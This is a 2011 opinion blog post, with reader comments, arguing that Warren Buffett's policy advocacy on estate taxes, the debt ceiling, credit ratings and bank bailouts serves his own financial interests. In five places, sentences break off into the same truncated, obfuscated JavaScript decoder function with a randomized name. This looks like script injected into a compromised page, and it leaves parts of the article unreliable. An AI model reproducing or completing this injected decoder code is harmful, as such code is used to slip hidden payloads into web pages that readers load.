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Considering Progressivism's choke-hold on public policy making, which very much includes the embrace of "experts", I haven't been surprised to see periodic citations of Buffett statements in the news over the years. But I thought of the old fellow as sort of being reluctantly pulled into public policy debates and, when he was roped into it, espousing high-minded, but socialistic philosophies, trotted out periodically, when convenient, by people like the President as fodder for bolstering the argument for redistributive policies. I thought the guy was an out of touch hypocrite, but that was all.
Following yesterday's article, I didn't see any reason to publish the draft of this article so soon. It seemed to me that our Mr. Buffett had already made enough headlines for a while. Although what I've learned about him this week told me I was wrong about my previous perception of the fellow, I thought the hypocritical codger facade was not only convenient for all parties (himself, the President), but also necessary. But I should have known better. Considering how many things that should not go on in our public policy happen in plain sight every day now, there is no need for continuing such facades.
The evidence shows that Buffett is anything but a hypocritical, high-minded philosopher. He's a player who has very shrewdly parlayed public policy into billions. In our fast-food, five-minute attention span society, it doesn't really matter how much headline-grabbing Buffett does, most people remain oblivious to what Buffett really is and what he represents.
For those who are interested in connecting dots, I thought today's developments were important. Buffett's recent, and I think very important actions, occupy a whole section on the very popular Drudge Report site today. I think these headlines are important because they illustrate some of our biggest problems.
My previous article refers to Buffett's August 14th New York Times Op Ed piece, the purpose of which was to advocate for public policies that would increase various types of taxes that Buffett contends will only hurt "the super-rich". Listening to Buffett over time, one could wonder how such a wealthy man could sound so nonsensically stupid. How did he pile up those billions with such seemingly loopy logic?
Just one example of Buffett being factually incorrect regards his calls for increases to the capital gains tax. He says his ideas for tax increases would only affect "the super-rich" who wouldn't be harmed in any case. But, some Americans who will never even be "rich", let alone "super-rich", can be affected by capital gains. There are various kinds of transactions subject to capital gains tax that affect small businesses, salaried employees, and so on. For, in fact, a significant number of people, these are very infrequent or one time transactions. Jumping from 15% to 39% taxation would obviously impact them.
I haven't quite figured out how a capital gains tax increase would create an income generating opportunity for Mr. Buffett, but I'm guessing there is an opportunity in there somewhere, if history is in any way indicative. A great deal of Buffet's wealth has been amassed through a very clever strategy pointed about by Christopher Cantrill, who actually labels Buffett a "nice robber baron".
First, it's important to note...
- Buffett has long been a big advocate of the estate tax
Buffett's business model benefits from the estate tax in two ways.
- Berkshire Hathaway / Buffett owns six life insurance companies
- Life insurance payouts are not subject to estate tax
- Estate planners include the purchase of life insurance policy in their asset protection strategy
Second way Buffett benefits from the estate tax:
- Buffett has acquired a great many family businesses that had to be sold at fire sale prices in order to pay estate taxes
We can see by direct examination that Buffett's logic, in very many ways is not actually loopy at all. His statements about public policy, when put in context with information obtained by some research, makes it clear that when Warren Buffett talks, the first question one ought to ask themselves is: Just what is it that good 'ole Uncle Warren stands to gain from it? It is simple fact that many of the subjects about which Buffett publicly makes noise are very much related to matters in which he has a financial, and therefore, a conflicting interest.
Take for instance, the debt ceiling debate. Buffett weighed in on the matter several times leading up to the August 2 "deadline", including in mid-July, when he not only adopted the establishment position that an increase in the debt-ceiling was a foregone conclusion, he actually advocated for eliminating a debt-ceiling altogether. He stated that the entire debate was a "diversion" and it sent a bad message to the rest of the world. But Buffett had multiple axes to grind, which quickly become clear.
Following the debate and passage of the bill, the downgrade of America's credit rating from AAA to AA+ by ratings agency, Standard & Poor's, function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
No. Buffett saw it coming, as a Wall Street Journal report noted. The ratings agency had warned that if America's credit rating was downgraded, a downgrade for a number of insurance and re-insurance companies would follow. Among the likely reasons (particulars are not readily available in reports), could be that insurance companies keep large amounts of U.S. treasuries in their investment portfolios. Berkshire Hathaway, Buffett has reported, has traditionally held a large amount of treasury securities. Berkshire is currently holding $40 billion of it's $48 billion "cash and other" allocation in treasuries.
So, Buffett criticized S&P, regarding a downgrade of America's credit rating because, quite obviously, he knew Berkshire would also be downgraded. He even said America's credit rating should be "AAAA" (a rating that doesn't exist). Such statements, made in light of his own interests, have no credibility and, in fact, make the fellow appear not so much like a sagacious, mild mid-western gentleman, but much more like a temper tantrum throwing toddler who isn't used to being told no.
But there is a second level of hypocrisy attached to Buffett's credit ratings protestations. It is important to note that Berkshire Hathaway has more than a passing interest in the credit rating agency industry; from 2000 to 2010, in fact, Berkshire owned a 20% stake in Standard & Poor's biggest competitor, Moody's. This second tier hypocrisy is connected to the long-running and potentially more systemic problems plaguing our whole bubble-based economy.
The Moody's holdings are directly tied to the "economic meltdown" that occurred in 2008 and a good example of what I think should be dubbed "Buffettonian double-speak". Credit ratings agencies, including Moody's, have a major share of responsibility for that economic meltdown because they gave the very junk mortgage securities that were embedded across the investment industry, AAA ratings. In 2007, Buffett labeled such derivatives "financial weapons of mass destruction" at a shareholder's meeting. Yet in 2010, he said he didn't see the bubble or it's potential aftermath coming. Buffett can't have it both ways, so, which is it?
None of the major credit ratings agencies should have had any real credibility when the the meltdown occurred, including Standard & Poor's. In addition to their absurd ratings of toxic mortgage derivatives, major credit ratings agencies continued to give America a AAA credit rating, even as George W. Bush's administration doubled the deficit. If judging purely upon common sense, the ratings agencies should have downgraded the US credit rating long before August 2011. While the global central planning crowd, the investment industry, and banks all had trillions of reasons for kidding themselves about the credibility of both S&P and Moody's, even the two agencies themselves indicated at least some glimmer of appreciation that their own credibility was at risk. Both began issuing one warning after another regarding the U.S. credit rating.
Considering the history of the ratings agencies, I'd come to believe that the portent of a potential downgrade by one of the agencies was not so much material proof that we're in trouble - we're far past that - but it would be a sign of some fracturing within the herd that has been moving in the same stupid direction. At minimum, it might be the beginnings of a wake up call. As the debt "debate" turned more the absurd, predictable debacle it became, it seemed downgrade was most important because the establishment rabble cited potential downgrade as one of their justifications for increasing the debt ceiling. At some point, a neon sign blinking, "you guys are so wrong" has to come about, doesn't it?
So, apparently, S&P finally decided that, if it wanted to quit pretending it had any credibility and begin to actually have some, it was time to follow through on its warnings and take action. But, their competitor, Moody's, has other ideas or, perhaps,function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Yet, Buffett hangs on to Moody's. Although Berkshire's percentage holdings has been reduced from its long-standing high of 20%, it's still significant at 12%+. One must wonder why. Although I won't begin to say I can figure it all out, it is likely that, despite any potential fractures among the herd, there is still money to be made -- estate taxation, rating agencies, treasury securities, mortgage derivatives, past and current money making opportunities, the list goes on and on.
In fact, a current growth opportunity is happening more directly through government than taxation policy. It's been in existence since 2008. It's called government ownership in banks through the bailout / TARP of 2008. I simply don't have time to analyze Berkshire's entire portfolio, but among its largest holdings, one finds US Bank and Wells Fargo (in increasing amounts). Both of these banking giants are among the long list of banks receiving huge Bailout / "TARP" funds.
And that brings us to today's news headlines, as seen in it's own Drudge Report section.
August 25 - Drudge Report
Today, Buffett purchased 50,000 shares in Bank of America. Drudge Report grouped that function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
The way Drudge has stylized the section on Buffett today function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf
Meanwhile, I'll leave with Linda's song recommendation for this piece, courtesy of the great Burl Ives...
This is a well done article. I have one question. You said toward the end of the article, “It’s called government ownership in banks through the bailout / TARP of 2008.” Isn’t it actually banks ownership of the government? The banks(mainly one)have stolen our “money” through the bailout/TARP which they are now holding on to as cited in this article:http://www.businessinsider.com/government-paying-banks-not-to-lend-2011-8?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+typepad%2Falleyinsider%2Fsilicon_alley_insider+%28Silicon+Alley+Insider%29
Hello Mr. Farmer,
Thank you for visiting the website and we are glad that you find the article well done. Thank you for your question about whether it is government ownership in banks or banks’ ownership in government. Very relevant for sure, and most unfortunate when such a question can be flipped around and there is no clarity available. Perhaps you’ll agree that the lines are becoming so blurred because that is what happens in a corporatist economic / political system.
I encourage you to visit anytime,
Shelli
Hi Shelli,
Great article. This will serve as more grist for your mill.
http://taxprof.typepad.com/taxprof_blog/2011/08/warren-buffetts.html
[Warren Buffett] wrote of the so-called “super-rich,” which he apparently defines as households earning $1 million or more a year: “Most wouldn’t mind being told to pay more in taxes as well, particularly when so many of their fellow citizens are truly suffering.” Isn’t that nice of Mr. Buffett?
But if he were truly sincere, perhaps he might simply try paying the taxes the IRS says his company owes? According to Berkshire Hathaway’s own annual report — see Note 15 on pp. 54-56 — the company has been in a years-long dispute over its federal tax bills.
According to the report, “We anticipate that we will resolve all adjustments proposed by the IRS for the 2002 through 2004 tax years at the IRS Appeals Division within the next 12 months. The IRS has completed its examination of our consolidated U.S. federal income tax returns for the 2005 and 2006 tax years and the proposed adjustments are currently being reviewed by the IRS Appeals Division process. The IRS is currently auditing our consolidated U.S. federal income tax returns for the 2007 through 2009 tax years.”
Americans for Limited Government researcher Richard McCarty, who was alerted to the controversy by a federal government lawyer, said, “The company has been short-changing the tax collection agency for much of the past decade. Mr. Buffett’s company has not fully settled its tax bills from 2002-2009. Yet he says he’d happily pay more. Except the IRS has apparently been asking him to pay more going on nine years.”
Glen,
Thank you, as always for stopping by. VERY interesting and helpful information! Please look for some inclusion of it in the next Buffett article. Is it just me or is it that the more one looks into Buffett the more hypocritical his statements look?
Thanks again,
Shelli
Crony capitalism is today’s best business plan, just like in “Atlas Shrugged”.
http://libertyslifeline.com/2011/08/26/warren-buffett-crony-capitalist/
Hello Glen,
Another helpful link, thanks!
Shelli